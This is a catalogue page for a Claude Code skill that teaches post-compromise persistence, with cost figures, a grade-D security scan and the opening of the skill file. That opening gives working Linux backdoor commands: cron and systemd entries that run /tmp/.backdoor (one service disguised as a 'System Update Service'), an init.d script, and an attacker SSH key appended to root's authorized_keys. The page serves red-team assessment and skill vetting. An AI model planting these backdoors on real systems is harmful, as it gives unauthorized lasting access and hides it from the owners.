establishing-persistence

establishing-persistence is a skill for Claude Code from trilwu/secskills. It costs 49 tokens per session (2,934 once invoked), scanned D, original, MIT.

A post-compromise security guide for keeping access on Windows and Linux systems through startup settings, scheduled jobs, services, SSH keys, or additional accounts.

In plain words
What is it for?
Use it during post-exploitation and persistence assessments on Windows and Linux machines, including checks of registry keys, cron jobs, services, and startup mechanisms.
Why use it?
It helps authorized red teams check whether an attacker could return to a system after the original entry point is closed.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Not installable: its command points at a path on the author’s own machine, so it runs nowhere else. The line is /home/user/.ssh/authorized_keys.

Part of the secskills-offense plugin — 40 skills shipped together

Good fit Use it during post-exploitation and persistence assessments on Windows and Linux machines, including checks of registry keys, cron jobs, services, and startup mechanisms.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.

Claude Code
/plugin marketplace add trilwu/secskills
Claude Code
/plugin install secskills-offense

Made for: Claude Code.

Or install secskills-offense, the plugin that ships this one along with the rest of its 40 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for establishing-persistence

README.md
[![agentmods](https://agentmods.dev/badge/skills/trilwu/secskills/establishing-persistence/github.svg)](https://agentmods.dev/skills/trilwu/secskills/establishing-persistence)
Your own site
<a href="https://agentmods.dev/skills/trilwu/secskills/establishing-persistence"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/establishing-persistence/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for establishing-persistence

Your own site · 80×15
<a href="https://agentmods.dev/skills/trilwu/secskills/establishing-persistence"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/establishing-persistence.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 49 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,934 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00049 $0.02934
Opus 5.5 $0.00020 $0.01174
Sonnet 5.5 $0.00010 $0.00587
Haiku 4.5 $0.00005 $0.00293

Measured 2mo ago against content hash 268dd82ab449, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade D, and why

establishing-persistence scanned grade D with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

# User crontab (no sudo needed)

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
secskills-offense/skills/establishing-persistence/SKILL.md · 425 lines

How it starts

The opening of the file, as written. The whole thing — 425 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Establishing Persistence

When to Use

  • Maintaining access to compromised systems
  • Post-exploitation techniques
  • Red team operations
  • Persistence testing
  • Backdoor creation

When NOT to Use

  • Before you have access — use the relevant initial access or privilege escalation skill first
  • Building malware, implants, or loaders — out of scope
  • Finding an attacker's persistence as a defender — use responding-to-incidents and hunting-threats

Windows Persistence

The exhaustive Windows command catalog — registry Run keys, scheduled tasks, services, WMI event subscriptions, startup folder, DLL hijacking, IFEO, AppInit_DLLs, and backdoor accounts — lives in references/windows-persistence-commands.md.

Linux Persistence

Cron Jobs

# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor  # Every hour

# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab

# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor

# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/update

Systemd Services

# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service

# Verify
systemctl status backdoor.service

RC Scripts (Init.d)

# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF

chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults

SSH Keys

# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys

Read the full file on GitHub · 425 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 425 lines · 49 tokens per session scan D 268dd82ab449

Subscribe to this mod's changes

establishing-persistence is a skill published in the GitHub repository trilwu/secskills (211 stars, last pushed 2mo ago), licensed MIT. It adds 49 tokens to every session and 2,934 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it D with 2 findings (asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

establishing-persistence compared with skills from other repositories

establishing-persistence next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
establishing-persistencetrilwu/secskillsSkill2112mo agoMITD49Claude Code
claude-md-improveranthropics/claude-plugins-officialSkill49kyesterdayApache-2.0A82Claude Code
agent-platform-model-registrygoogle/skillsSkill25ktodayApache-2.0A60Claude Code, Codex
gke-reliabilitygoogle/skillsSkill25ktodayApache-2.0A85Claude Code, Codex
gke-workload-securitygoogle/skillsSkill25ktodayApache-2.0A171Claude Code, Codex
google-cloud-solution-agentic-analytics-spark-knowledge-cataloggoogle/skillsSkill25ktodayApache-2.0A132Claude Code, Codex
glance-canonical-layoutsandroid/skillsSkill11k7d agoApache-2.0A56Claude Code